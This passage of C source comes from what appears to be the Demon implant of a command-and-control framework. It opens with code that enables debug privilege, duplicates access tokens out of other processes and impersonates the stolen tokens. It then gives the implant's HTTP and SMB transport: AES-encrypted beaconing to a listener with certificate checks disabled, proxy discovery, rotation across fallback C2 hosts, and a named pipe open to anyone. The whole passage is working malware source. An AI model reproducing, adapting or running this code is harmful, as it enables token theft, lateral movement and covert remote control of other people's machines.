) } } } else { PUTS( "GetTokenInformation failed" ) } Cleanup: DATA_FREE( TokenStatisticsInformation,returned_tokinfo_length ); DATA_FREE( TokenIntegrityInformation,cbSize ); DATA_FREE( TokenImpersonationInformation,returned_tokimp_length ); if ( ! ReturnValue ) { DATA_FREE( UserDomain->Buffer, UserDomain->Length ); } return ReturnValue; } // check if a PID is included in the process list BOOL ProcessIsIncluded( IN PPROCESS_LIST process_list, IN ULONG ProcessId ) { for (ULONG i = 0; i < process_list->Count; i++) { if (process_list->ProcessId[i] == ProcessId) return TRUE; } return FALSE; } // obtain a list of PIDs from a handle table BOOL GetProcessesFromHandleTable( IN PSYSTEM_HANDLE_INFORMATION handleTableInformation, OUT PPROCESS_LIST* pprocess_list ) { BOOL ret_val = FALSE; PPROCESS_LIST process_list = NULL; process_list = Instance->Win32.LocalAlloc( LPTR, sizeof(PROCESS_LIST) ); PSYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo; for (ULONG i = 0; i < handleTableInformation->NumberOfHandles; i++) { handleInfo = (PSYSTEM_HANDLE_TABLE_ENTRY_INFO)&handleTableInformation->Handles[i]; if ( ! ProcessIsIncluded( process_list, handleInfo->UniqueProcessId ) ) { if (process_list->Count + 1 > MAX_PROCESSES) { PUTS("Too many processes, please increase MAX_PROCESSES"); goto cleanup; } process_list->ProcessId[process_list->Count++] = handleInfo->UniqueProcessId; } } *pprocess_list = process_list; ret_val = TRUE; cleanup: if ( ! ret_val && process_list ) { DATA_FREE(process_list, sizeof(PROCESS_LIST)); } return ret_val; } // get all handles in the system BOOL GetAllHandles( OUT PSYSTEM_HANDLE_INFORMATION* phandle_table, OUT PULONG phandle_table_size ) { BOOL ret_val = FALSE; NTSTATUS status = STATUS_UNSUCCESSFUL; ULONG buffer_size = sizeof(SYSTEM_HANDLE_INFORMATION); ULONG prev_buffer_size = buffer_size; PVOID handleTableInformation = NULL; handleTableInformation = Instance->Win32.LocalAlloc( LPTR, buffer_size ); while (TRUE) { //get information of all the existing handles status = SysNtQuerySystemInformation( SystemHandleInformation, handleTableInformation, buffer_size, &buffer_size); if ( status == STATUS_INFO_LENGTH_MISMATCH ) { // the buffer was too small, buffer_size now has the new length DATA_FREE( handleTableInformation, prev_buffer_size ); prev_buffer_size = buffer_size; handleTableInformation = Instance->Win32.LocalAlloc( LPTR, buffer_size ); continue; } if ( ! NT_SUCCESS( status ) ) goto cleanup; break; } *phandle_table = (PSYSTEM_HANDLE_INFORMATION)handleTableInformation; *phandle_table_size = buffer_size; ret_val = TRUE; cleanup: if ( ! ret_val && handleTableInformation ) { DATA_FREE( handleTableInformation, buffer_size ); } return ret_val; } /* When finding tokens, we are ignoring tokens from the current user as they don't matter much */ BOOL IsNotCurrentUser( BOOL DoCheck, PBUFFER UserA, PBUFFER UserB ) { if ( DoCheck && ! StringCompareW( UserA->Buffer, UserB->Buffer ) ) return FALSE; return TRUE; } BOOL ListTokens( PUSER_TOKEN_DATA* pTokens, PDWORD pNumTokens ) { BOOL ReturnValue = FALSE; NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; HANDLE hProcess = NULL; HANDLE hToken = NULL; CLIENT_ID ProcID = { 0 }; OBJECT_ATTRIBUTES ObjAttr = { sizeof( ObjAttr ) }; PUSER_TOKEN_DATA Tokens = NULL; DWORD NumTokens = 0; ULONG TokenTypeIndex = 0; PSYSTEM_HANDLE_INFORMATION handleTableInformation = NULL; ULONG handleTableInformationSize = 0; PPROCESS_LIST ProcessList = NULL; ULONG ProcessId = 0; BUFFER CurrentUser = { 0 }; HANDLE hOwnToken = NULL; BOOL CheckUsername = FALSE; PSYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = NULL; // try to get our own username, so we can avoid our own tokens if ( ( hOwnToken = TokenCurrentHandle() ) ) { if ( TokenQueryOwner( hOwnToken, &CurrentUser, TOKEN_OWNER_FLAG_DEFAULT ) ) { CheckUsername = TRUE; } SysNtClose( hOwnToken ); hOwnToken = NULL; } TokenSetSeDebugPriv( TRUE ); // get the index of the object type 'Token' if ( ! GetTypeIndexToken( &TokenTypeIndex ) ) goto Cleanup; // get the entire handle table if ( ! GetAllHandles( &handleTableInformation, &handleTableInformationSize ) ) goto Cleanup; // obtain all PIDs from the handle table if ( ! GetProcessesFromHandleTable( handleTableInformation, &ProcessList ) ) goto Cleanup; // allocate the USER_TOKEN_DATA table Tokens = Instance->Win32.LocalAlloc( LPTR, BUF_SIZE * sizeof( USER_TOKEN_DATA ) ); if ( ! Tokens ) goto Cleanup; // loop over each ProcessId for ( ULONG i = 0; i < ProcessList->Count; i++ ) { ProcessId = ProcessList->ProcessId[i]; if ( ProcessId == Instance->Session.PID ) continue; if ( ProcessId == 0 ) continue; if ( ProcessId == 4 ) continue; // open a handle to the process hProcess = ProcessOpen( ProcessId, PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE ); if ( ! hProcess ) continue; // loop over each handle from this process for ( ULONG j = 0; j < handleTableInformation->NumberOfHandles; j++ ) { handleInfo = (PSYSTEM_HANDLE_TABLE_ENTRY_INFO)&handleTableInformation->Handles[j]; // make sure this handle is from the current ProcessId if ( handleInfo->UniqueProcessId != ProcessId ) continue; // make sure the handle is of type 'Token' if ( handleInfo->ObjectTypeIndex != TokenTypeIndex ) continue; // duplicate the token hToken = NULL; NtStatus = SysNtDuplicateObject( hProcess, (HANDLE)(DWORD_PTR)handleInfo->HandleValue, NtCurrentProcess(), &hToken, 0, 0, DUPLICATE_SAME_ACCESS); if ( NT_SUCCESS( NtStatus ) ) { ProcessUserToken( hToken, ProcessId, (HANDLE)(DWORD_PTR)handleInfo->HandleValue, CheckUsername, &CurrentUser, Tokens, &NumTokens ); SysNtClose( hToken ); hToken = NULL; } } // Also process primary tokens NtStatus = SysNtOpenProcessToken( hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken ); if ( NT_SUCCESS( NtStatus ) ) { ProcessUserToken( hToken, ProcessId, NULL, CheckUsername, &CurrentUser, Tokens, &NumTokens ); SysNtClose( hToken ); hToken = NULL; } SysNtClose( hProcess ); hProcess = NULL; } *pTokens = Tokens; *pNumTokens = NumTokens; ReturnValue = TRUE; Cleanup: if ( ! ReturnValue && Tokens ) { DATA_FREE( Tokens, NumTokens * sizeof( USER_TOKEN_DATA ) ); } DATA_FREE( handleTableInformation, handleTableInformationSize ); DATA_FREE( ProcessList, sizeof( PROCESS_LIST ) ) DATA_FREE( CurrentUser.Buffer, CurrentUser.Length ); return ReturnValue; } BOOL ImpersonateTokenFromVault( IN DWORD TokenID ) { PTOKEN_LIST_DATA TokenData = NULL; BOOL Success = FALSE; TokenData = TokenGet( TokenID ); if ( ! TokenData ) { PUTS( "Token not found in vault." ) PackageTransmitError( CALLBACK_ERROR_TOKEN, 0x1 ); goto Cleanup; } if ( ! ImpersonateTokenInStore( TokenData ) ) goto Cleanup; Success = TRUE; Cleanup: return Success; } // https://doxygen.reactos.org/d1/d72/dll_2win32_2advapi32_2sec_2misc_8c_source.html#l00152 BOOL SysImpersonateLoggedOnUser( HANDLE hToken ) { SECURITY_QUALITY_OF_SERVICE Qos = { 0 }; OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; HANDLE NewToken = NULL; TOKEN_TYPE Type = 0; ULONG ReturnLength = 0; BOOL Duplicated = FALSE; NTSTATUS Status = STATUS_UNSUCCESSFUL; /* Get the token type */ Status = SysNtQueryInformationToken( hToken, TokenType, &Type, sizeof(TOKEN_TYPE), &ReturnLength); if ( ! NT_SUCCESS( Status ) ) { PRINTF( "NtQueryInformationToken: Failed:[%08x : %ld]\n", Status, Instance->Win32.RtlNtStatusToDosError( Status ) ); return FALSE; } if (Type == TokenPrimary) { /* Create a duplicate impersonation token */ Qos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE); Qos.ImpersonationLevel = SecurityImpersonation; Qos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING; Qos.EffectiveOnly = FALSE; ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES); ObjectAttributes.RootDirectory = NULL; ObjectAttributes.ObjectName = NULL; ObjectAttributes.Attributes = 0; ObjectAttributes.SecurityDescriptor = NULL; ObjectAttributes.SecurityQualityOfService = &Qos; Status = SysNtDuplicateToken( hToken, TOKEN_IMPERSONATE | TOKEN_QUERY, &ObjectAttributes, FALSE, TokenImpersonation, &NewToken); if ( ! NT_SUCCESS( Status ) ) { return FALSE; } Duplicated = TRUE; } else { /* User the original impersonation token */ NewToken = hToken; Duplicated = FALSE; } /* Impersonate the the current thread */ Status = SysNtSetInformationThread( NtCurrentThread(), ThreadImpersonationToken, &NewToken, sizeof(HANDLE)); if (Duplicated != FALSE) { SysNtClose(NewToken); } if ( ! NT_SUCCESS( Status ) ) { PRINTF( "NtSetInformationThread: Failed:[%08x : %ld]\n", Status, Instance->Win32.RtlNtStatusToDosError( Status ) ); return FALSE; } return TRUE; } BOOL ImpersonateTokenInStore( IN PTOKEN_LIST_DATA TokenData ) { BOOL Success = FALSE; NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; if ( ! TokenData ) { goto Cleanup; } /* if we are already impersonating the selected token, do nothing */ if ( Instance->Tokens.Impersonate && TokenData->Handle == Instance->Tokens.Token->Handle ) { return TRUE; } if ( ! TokenSetSeDebugPriv( TRUE ) ) { PUTS( "Could not enable SE_DEBUG_NAME privilege." ) goto Cleanup; } if ( ! TokenRevSelf() ) { PACKAGE_ERROR_WIN32 goto Cleanup; } if ( SysImpersonateLoggedOnUser( TokenData->Handle ) ) { Instance->Tokens.Impersonate = TRUE; Instance->Tokens.Token = TokenData; PRINTF( "[+] Successfully impersonated: %ls\n", TokenData->DomainUser ); } else { Instance->Tokens.Impersonate = FALSE; Instance->Tokens.Token = NULL; PRINTF( "[!] Failed to impersonate token user: %ls\n", TokenData->DomainUser ); PACKAGE_ERROR_WIN32 if ( ! TokenRevSelf() ) { PACKAGE_ERROR_WIN32 } goto Cleanup; } Success = TRUE; Cleanup: return Success; } ================================================ FILE: payloads/Demon/src/core/Transport.c ================================================ #include #include #include #include #include #include #include #include BOOL TransportInit( ) { PUTS_DONT_SEND( "Connecting to listener" ) PVOID Data = NULL; SIZE_T Size = 0; BOOL Success = FALSE; /* Sends to our connection (direct/pivot) */ #ifdef TRANSPORT_HTTP if ( PackageTransmitNow( Instance->MetaData, &Data, &Size ) ) { AESCTX AesCtx = { 0 }; /* Decrypt what we got */ AesInit( &AesCtx, Instance->Config.AES.Key, Instance->Config.AES.IV ); AesXCryptBuffer( &AesCtx, Data, Size ); if ( Data ) { if ( ( UINT32 ) Instance->Session.AgentID == ( UINT32 ) DEREF( Data ) ) { Instance->Session.Connected = TRUE; Success = TRUE; } } } #endif #ifdef TRANSPORT_SMB if ( PackageTransmitNow( Instance->MetaData, NULL, NULL ) == TRUE ) { Instance->Session.Connected = TRUE; Success = TRUE; } #endif return Success; } BOOL TransportSend( LPVOID Data, SIZE_T Size, PVOID* RecvData, PSIZE_T RecvSize ) { BUFFER Send = { 0 }; BUFFER Resp = { 0 }; Send.Buffer = Data; Send.Length = Size; #ifdef TRANSPORT_HTTP if ( HttpSend( &Send, &Resp ) ) { if ( RecvData ) *RecvData = Resp.Buffer; if ( RecvSize ) *RecvSize = Resp.Length; return TRUE; } #endif #ifdef TRANSPORT_SMB if ( SmbSend( &Send ) ) { return TRUE; } #endif return FALSE; } #ifdef TRANSPORT_SMB BOOL SMBGetJob( PVOID* RecvData, PSIZE_T RecvSize ) { BUFFER Resp = { 0 }; if ( RecvData ) *RecvData = NULL; if ( RecvSize ) *RecvSize = 0; if ( SmbRecv( &Resp ) ) { if ( RecvData ) *RecvData = Resp.Buffer; if ( RecvSize ) *RecvSize = Resp.Length; return TRUE; } return FALSE; } #endif ================================================ FILE: payloads/Demon/src/core/TransportHttp.c ================================================ #include #include #include #ifdef TRANSPORT_HTTP /*! * @brief * send a http request * * @param Send * buffer to send * * @param Resp * buffer response * * @return * if successful send request */ BOOL HttpSend( _In_ PBUFFER Send, _Out_opt_ PBUFFER Resp ) { HANDLE Connect = { 0 }; HANDLE Request = { 0 }; LPWSTR HttpHeader = { 0 }; LPWSTR HttpEndpoint = { 0 }; DWORD HttpFlags = { 0 }; LPCWSTR HttpProxy = { 0 }; PWSTR HttpScheme = { 0 }; DWORD Counter = { 0 }; DWORD Iterator = { 0 }; DWORD BufRead = { 0 }; UCHAR Buffer[ 1024 ] = { 0 }; PVOID RespBuffer = { 0 }; SIZE_T RespSize = { 0 }; BOOL Successful = { 0 }; WINHTTP_PROXY_INFO ProxyInfo = { 0 }; WINHTTP_CURRENT_USER_IE_PROXY_CONFIG ProxyConfig = { 0 }; WINHTTP_AUTOPROXY_OPTIONS AutoProxyOptions = { 0 }; /* we might impersonate a token that lets WinHttpOpen return an Error 5 (ERROR_ACCESS_DENIED) */ TokenImpersonate( FALSE ); /* if we don't have any more hosts left, then exit */ if ( ! Instance->Config.Transport.Host ) { PUTS_DONT_SEND( "No hosts left to use... exit now." ) CommandExit( NULL ); } if ( ! Instance->hHttpSession ) { if ( Instance->Config.Transport.Proxy.Enabled ) { // Use preconfigured proxy HttpProxy = Instance->Config.Transport.Proxy.Url; /* PRINTF_DONT_SEND( "WinHttpOpen( %ls, WINHTTP_ACCESS_TYPE_NAMED_PROXY, %ls, WINHTTP_NO_PROXY_BYPASS, 0 )\n", Instance->Config.Transport.UserAgent, HttpProxy ) */ Instance->hHttpSession = Instance->Win32.WinHttpOpen( Instance->Config.Transport.UserAgent, WINHTTP_ACCESS_TYPE_NAMED_PROXY, HttpProxy, WINHTTP_NO_PROXY_BYPASS, 0 ); } else { // Autodetect proxy settings /* PRINTF_DONT_SEND( "WinHttpOpen( %ls, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 )\n", Instance->Config.Transport.UserAgent ) */ Instance->hHttpSession = Instance->Win32.WinHttpOpen( Instance->Config.Transport.UserAgent, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 ); } if ( ! Instance->hHttpSession ) { PRINTF_DONT_SEND( "WinHttpOpen: Failed => %d\n", NtGetLastError() ) goto LEAVE; } } /* PRINTF_DONT_SEND( "WinHttpConnect( %x, %ls, %d, 0 )\n", Instance->hHttpSession, Instance->Config.Transport.Host->Host, Instance->Config.Transport.Host->Port ) */ if ( ! ( Connect = Instance->Win32.WinHttpConnect( Instance->hHttpSession, Instance->Config.Transport.Host->Host, Instance->Config.Transport.Host->Port, 0 ) ) ) { PRINTF_DONT_SEND( "WinHttpConnect: Failed => %d\n", NtGetLastError() ) goto LEAVE; } while ( TRUE ) { if ( ! Instance->Config.Transport.Uris[ Counter ] ) { break; } else { Counter++; } } HttpEndpoint = Instance->Config.Transport.Uris[ RandomNumber32() % Counter ]; HttpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE; if ( Instance->Config.Transport.Secure ) { HttpFlags |= WINHTTP_FLAG_SECURE; } /* PRINTF_DONT_SEND( "WinHttpOpenRequest( %x, %ls, %ls, NULL, NULL, NULL, %x )\n", hConnect, Instance->Config.Transport.Method, HttpEndpoint, HttpFlags ) */ if ( ! ( Request = Instance->Win32.WinHttpOpenRequest( Connect, Instance->Config.Transport.Method, HttpEndpoint, NULL, NULL, NULL, HttpFlags ) ) ) { PRINTF_DONT_SEND( "WinHttpOpenRequest: Failed => %d\n", NtGetLastError() ) goto LEAVE; } if ( Instance->Config.Transport.Secure ) { HttpFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_SECURITY_FLAGS, &HttpFlags, sizeof( DWORD ) ) ) { PRINTF_DONT_SEND( "WinHttpSetOption: Failed => %d\n", NtGetLastError() ); } } /* Add our headers */ do { HttpHeader = Instance->Config.Transport.Headers[ Iterator ]; if ( ! HttpHeader ) break; if ( ! Instance->Win32.WinHttpAddRequestHeaders( Request, HttpHeader, -1, WINHTTP_ADDREQ_FLAG_ADD ) ) { PRINTF_DONT_SEND( "Failed to add header: %ls", HttpHeader ) } Iterator++; } while ( TRUE ); if ( Instance->Config.Transport.Proxy.Enabled ) { // Use preconfigured proxy ProxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; ProxyInfo.lpszProxy = Instance->Config.Transport.Proxy.Url; if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_PROXY, &ProxyInfo, sizeof( WINHTTP_PROXY_INFO ) ) ) { PRINTF_DONT_SEND( "WinHttpSetOption: Failed => %d\n", NtGetLastError() ); } if ( Instance->Config.Transport.Proxy.Username ) { if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_PROXY_USERNAME, Instance->Config.Transport.Proxy.Username, StringLengthW( Instance->Config.Transport.Proxy.Username ) ) ) { PRINTF_DONT_SEND( "Failed to set proxy username %u", NtGetLastError() ); } } if ( Instance->Config.Transport.Proxy.Password ) { if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_PROXY_PASSWORD, Instance->Config.Transport.Proxy.Password, StringLengthW( Instance->Config.Transport.Proxy.Password ) ) ) { PRINTF_DONT_SEND( "Failed to set proxy password %u", NtGetLastError() ); } } } else if ( ! Instance->LookedForProxy ) { // Autodetect proxy settings using the Web Proxy Auto-Discovery (WPAD) protocol /* * NOTE: We use WinHttpGetProxyForUrl as the first option because * WinHttpGetIEProxyConfigForCurrentUser can fail with certain users * and also the documentation states that WinHttpGetIEProxyConfigForCurrentUser * "can be used as a fall-back mechanism" so we are using it that way */ AutoProxyOptions.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT; AutoProxyOptions.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A; AutoProxyOptions.lpszAutoConfigUrl = NULL; AutoProxyOptions.lpvReserved = NULL; AutoProxyOptions.dwReserved = 0; AutoProxyOptions.fAutoLogonIfChallenged = TRUE; if ( Instance->Win32.WinHttpGetProxyForUrl( Instance->hHttpSession, HttpEndpoint, &AutoProxyOptions, &ProxyInfo ) ) { if ( ProxyInfo.lpszProxy ) { PRINTF_DONT_SEND( "Using proxy %ls\n", ProxyInfo.lpszProxy ); } Instance->SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO ); Instance->ProxyForUrl = Instance->Win32.LocalAlloc( LPTR, Instance->SizeOfProxyForUrl ); MemCopy( Instance->ProxyForUrl, &ProxyInfo, Instance->SizeOfProxyForUrl ); } else { // WinHttpGetProxyForUrl failed, use WinHttpGetIEProxyConfigForCurrentUser as fall-back if ( Instance->Win32.WinHttpGetIEProxyConfigForCurrentUser( &ProxyConfig ) ) { if ( ProxyConfig.lpszProxy != NULL && StringLengthW( ProxyConfig.lpszProxy ) != 0 ) { // IE is set to "use a proxy server" ProxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; ProxyInfo.lpszProxy = ProxyConfig.lpszProxy; ProxyInfo.lpszProxyBypass = ProxyConfig.lpszProxyBypass; PRINTF_DONT_SEND( "Using IE proxy %ls\n", ProxyInfo.lpszProxy ); Instance->SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO ); Instance->ProxyForUrl = Instance->Win32.LocalAlloc( LPTR, Instance->SizeOfProxyForUrl ); MemCopy( Instance->ProxyForUrl, &ProxyInfo, Instance->SizeOfProxyForUrl ); // don't cleanup these values ProxyConfig.lpszProxy = NULL; ProxyConfig.lpszProxyBypass = NULL; } else if ( ProxyConfig.lpszAutoConfigUrl != NULL && StringLengthW( ProxyConfig.lpszAutoConfigUrl ) != 0 ) { // IE is set to "Use automatic proxy configuration" AutoProxyOptions.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL; AutoProxyOptions.lpszAutoConfigUrl = ProxyConfig.lpszAutoConfigUrl; AutoProxyOptions.dwAutoDetectFlags = 0; PRINTF_DONT_SEND( "Trying to discover the proxy config via the config url %ls\n", AutoProxyOptions.lpszAutoConfigUrl ); if ( Instance->Win32.WinHttpGetProxyForUrl( Instance->hHttpSession, HttpEndpoint, &AutoProxyOptions, &ProxyInfo ) ) { if ( ProxyInfo.lpszProxy ) { PRINTF_DONT_SEND( "Using proxy %ls\n", ProxyInfo.lpszProxy ); } Instance->SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO ); Instance->ProxyForUrl = Instance->Win32.LocalAlloc( LPTR, Instance->SizeOfProxyForUrl ); MemCopy( Instance->ProxyForUrl, &ProxyInfo, Instance->SizeOfProxyForUrl ); } } else { // IE is set to "automatically detect settings" // ignore this as we already tried } } } Instance->LookedForProxy = TRUE; } if ( Instance->ProxyForUrl ) { if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_PROXY, Instance->ProxyForUrl, Instance->SizeOfProxyForUrl ) ) { PRINTF_DONT_SEND( "WinHttpSetOption: Failed => %d\n", NtGetLastError() ); } } /* Send package to our listener */ if ( Instance->Win32.WinHttpSendRequest( Request, NULL, 0, Send->Buffer, Send->Length, Send->Length, 0 ) ) { if ( Instance->Win32.WinHttpReceiveResponse( Request, NULL ) ) { /* Is the server recognizing us ? are we good ? */ if ( HttpQueryStatus( Request ) != HTTP_STATUS_OK ) { PUTS_DONT_SEND( "HttpQueryStatus Failed: Is not HTTP_STATUS_OK (200)" ) Successful = FALSE; goto LEAVE; } if ( Resp ) { RespBuffer = NULL; // // read the entire response into the Resp BUFFER // do { Successful = Instance->Win32.WinHttpReadData( Request, Buffer, sizeof( Buffer ), &BufRead ); if ( ! Successful || BufRead == 0 ) { break; } if ( ! RespBuffer ) { RespBuffer = Instance->Win32.LocalAlloc( LPTR, BufRead ); } else { RespBuffer = Instance->Win32.LocalReAlloc( RespBuffer, RespSize + BufRead, LMEM_MOVEABLE | LMEM_ZEROINIT ); } RespSize += BufRead; MemCopy( RespBuffer + ( RespSize - BufRead ), Buffer, BufRead ); MemSet( Buffer, 0, sizeof( Buffer ) ); } while ( Successful == TRUE ); Resp->Length = RespSize; Resp->Buffer = RespBuffer; Successful = TRUE; } } } else { if ( NtGetLastError() == ERROR_INTERNET_CANNOT_CONNECT ) { Instance->Session.Connected = FALSE; } PRINTF_DONT_SEND( "HTTP Error: %d\n", NtGetLastError() ) } LEAVE: if ( Connect ) { Instance->Win32.WinHttpCloseHandle( Connect ); } if ( Request ) { Instance->Win32.WinHttpCloseHandle( Request ); } if ( ProxyConfig.lpszProxy ) { Instance->Win32.GlobalFree( ProxyConfig.lpszProxy ); } if ( ProxyConfig.lpszProxyBypass ) { Instance->Win32.GlobalFree( ProxyConfig.lpszProxyBypass ); } if ( ProxyConfig.lpszAutoConfigUrl ) { Instance->Win32.GlobalFree( ProxyConfig.lpszAutoConfigUrl ); } /* re-impersonate the token */ TokenImpersonate( TRUE ); if ( ! Successful ) { /* if we hit our max then we use our next host */ Instance->Config.Transport.Host = HostFailure( Instance->Config.Transport.Host ); } return Successful; } /*! * @brief * Query the Http Status code from the request response. * * @param hRequest * request handle * * @return * Http status code */ DWORD HttpQueryStatus( _In_ HANDLE Request ) { DWORD StatusCode = 0; DWORD StatusSize = sizeof( DWORD ); if ( Instance->Win32.WinHttpQueryHeaders( Request, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &StatusCode, &StatusSize, WINHTTP_NO_HEADER_INDEX ) ) { return StatusCode; } return 0; } PHOST_DATA HostAdd( _In_ LPWSTR Host, SIZE_T Size, DWORD Port ) { PRINTF_DONT_SEND( "Host -> Host:[%ls] Size:[%ld] Port:[%ld]\n", Host, Size, Port ); PHOST_DATA HostData = NULL; HostData = MmHeapAlloc( sizeof( HOST_DATA ) ); HostData->Host = MmHeapAlloc( Size + sizeof( WCHAR ) ); HostData->Port = Port; HostData->Dead = FALSE; HostData->Next = Instance->Config.Transport.Hosts; /* Copy host to our buffer */ MemCopy( HostData->Host, Host, Size ); /* Add to hosts linked list */ Instance->Config.Transport.Hosts = HostData; return HostData; } PHOST_DATA HostFailure( PHOST_DATA Host ) { if ( ! Host ) return NULL; if ( Host->Failures == Instance->Config.Transport.HostMaxRetries ) { /* we reached our max failed retries with our current host data * use next one */ Host->Dead = TRUE; /* Get our next host based on our rotation strategy. */ return HostRotation( Instance->Config.Transport.HostRotation ); } /* Increase our failed counter */ Host->Failures++; PRINTF_DONT_SEND( "Host [Host: %ls:%ld] failure counter increased to %d\n", Host->Host, Host->Port, Host->Failures ) return Host; } /* Gets a random host from linked list. */ PHOST_DATA HostRandom() { PHOST_DATA Host = NULL; DWORD Index = RandomNumber32() % HostCount(); DWORD Count = 0; Host = Instance->Config.Transport.Hosts; for ( ;; ) { if ( Count == Index ) break; if ( ! Host ) break; /* if we are the end and still didn't found the random index quit. */ if ( ! Host->Next ) { Host = NULL; break; } Count++; /* Next host please */ Host = Host->Next; } PRINTF_DONT_SEND( "Index: %d\n", Index ) PRINTF_DONT_SEND( "Host : %p (%ls:%ld :: Dead[%s] :: Failures[%d])\n", Host, Host->Host, Host->Port, Host->Dead ? "TRUE" : "FALSE", Host->Failures ) return Host; } PHOST_DATA HostRotation( SHORT Strategy ) { PHOST_DATA Host = NULL; if ( Instance->Config.Transport.NumHosts > 1 ) { /* * Different CDNs can have different WPAD rules. * After rotating, look for the proxy again */ Instance->LookedForProxy = FALSE; } if ( Strategy == TRANSPORT_HTTP_ROTATION_ROUND_ROBIN ) { DWORD Count = 0; /* get linked list */ Host = Instance->Config.Transport.Hosts; /* If our current host is empty * then return the top host from our linked list. */ if ( ! Instance->Config.Transport.Host ) return Host; for ( Count = 0; Count < HostCount(); ) { /* check if it's not an empty pointer */ if ( ! Host ) break; /* if the host is dead (max retries limit reached) then continue */ if ( Host->Dead ) Host = Host->Next; else break; } } else if ( Strategy == TRANSPORT_HTTP_ROTATION_RANDOM ) { /* Get a random Host */ Host = HostRandom(); /* if we fail use the first host we get available. */ if ( Host->Dead ) /* fallback to Round Robin */ Host = HostRotation( TRANSPORT_HTTP_ROTATION_ROUND_ROBIN ); } /* if we specified infinite retries then reset every "Failed" retries in our linked list and do this forever... * as the operator wants. */ if ( ( Instance->Config.Transport.HostMaxRetries == 0 ) && ! Host ) { PUTS_DONT_SEND( "Specified to keep going. To infinity... and beyond" ) /* get linked list */ Host = Instance->Config.Transport.Hosts; /* iterate over linked list */ for ( ;; ) { if ( ! Host ) break; /* reset failures */ Host->Failures = 0; Host->Dead = FALSE; Host = Host->Next; } /* tell the caller to start at the beginning */ Host = Instance->Config.Transport.Hosts; } return Host; } DWORD HostCount() { PHOST_DATA Host = NULL; PHOST_DATA Head = NULL; DWORD Count = 0; Head = Instance->Config.Transport.Hosts; Host = Head; do { if ( ! Host ) break; Count++; Host = Host->Next; /* if we are at the beginning again then stop. */ if ( Head == Host ) break; } while ( TRUE ); return Count; } BOOL HostCheckup() { PHOST_DATA Host = NULL; PHOST_DATA Head = NULL; DWORD Count = 0; BOOL Alive = TRUE; Head = Instance->Config.Transport.Hosts; Host = Head; do { if ( ! Host ) break; if ( Host->Dead ) Count++; Host = Host->Next; /* if we are at the beginning again then stop. */ if ( Head == Host ) break; } while ( TRUE ); /* check if every host is dead */ if ( HostCount() == Count ) Alive = FALSE; return Alive; } #endif ================================================ FILE: payloads/Demon/src/core/TransportSmb.c ================================================ #include #include #include #ifdef TRANSPORT_SMB BOOL SmbSend( PBUFFER Send ) { if ( ! Instance->Config.Transport.Handle ) { SMB_PIPE_SEC_ATTR SmbSecAttr = { 0 }; SECURITY_ATTRIBUTES SecurityAttr = { 0 }; /* Setup attributes to allow "anyone" to connect to our pipe */ SmbSecurityAttrOpen( &SmbSecAttr, &SecurityAttr ); Instance->Config.Transport.Handle = Instance->Win32.CreateNamedPipeW( Instance->Config.Transport.Name, // Named Pipe PIPE_ACCESS_DUPLEX, // read/write access PIPE_TYPE_MESSAGE | // message type pipe PIPE_READMODE_MESSAGE | // message-read mode PIPE_WAIT, // blocking mode PIPE_UNLIMITED_INSTANCES, // max. instances PIPE_BUFFER_MAX, // output buffer size PIPE_BUFFER_MAX, // input buffer size 0, // client time-out &SecurityAttr ); // security attributes SmbSecurityAttrFree( &SmbSecAttr ); if ( ! Instance->Config.Transport.Handle ) return FALSE; if ( ! Instance->Win32.ConnectNamedPipe( Instance->Config.Transport.Handle, NULL ) ) { SysNtClose( Instance->Config.Transport.Handle ); return FALSE; } /* Send the message/package we want to send to the new client... */ return PipeWrite( Instance->Config.Transport.Handle, Send ); } if ( ! PipeWrite( Instance->Config.Transport.Handle, Send ) ) { PRINTF( "WriteFile Failed:[%d]\n", NtGetLastError() ); /* Means that the client disconnected/the pipe is closing. */ if ( NtGetLastError() == ERROR_NO_DATA ) { if ( Instance->Config.Transport.Handle ) { SysNtClose( Instance->Config.Transport.Handle ); Instance->Config.Transport.Handle = NULL; } Instance->Session.Connected = FALSE; return FALSE; } } return TRUE; } BOOL SmbRecv( PBUFFER Resp ) { DWORD BytesSize = 0; DWORD DemonId = 0; DWORD PackageSize = 0; if ( Instance->Win32.PeekNamedPipe( Instance->Config.Transport.Handle, NULL, 0, NULL, &BytesSize, NULL ) ) { if ( BytesSize > sizeof( UINT32 ) + sizeof( UINT32 ) ) { if ( ! Instance->Win32.ReadFile( Instance->Config.Transport.Handle, &DemonId, sizeof( UINT32 ), &BytesSize, NULL ) && NtGetLastError() != 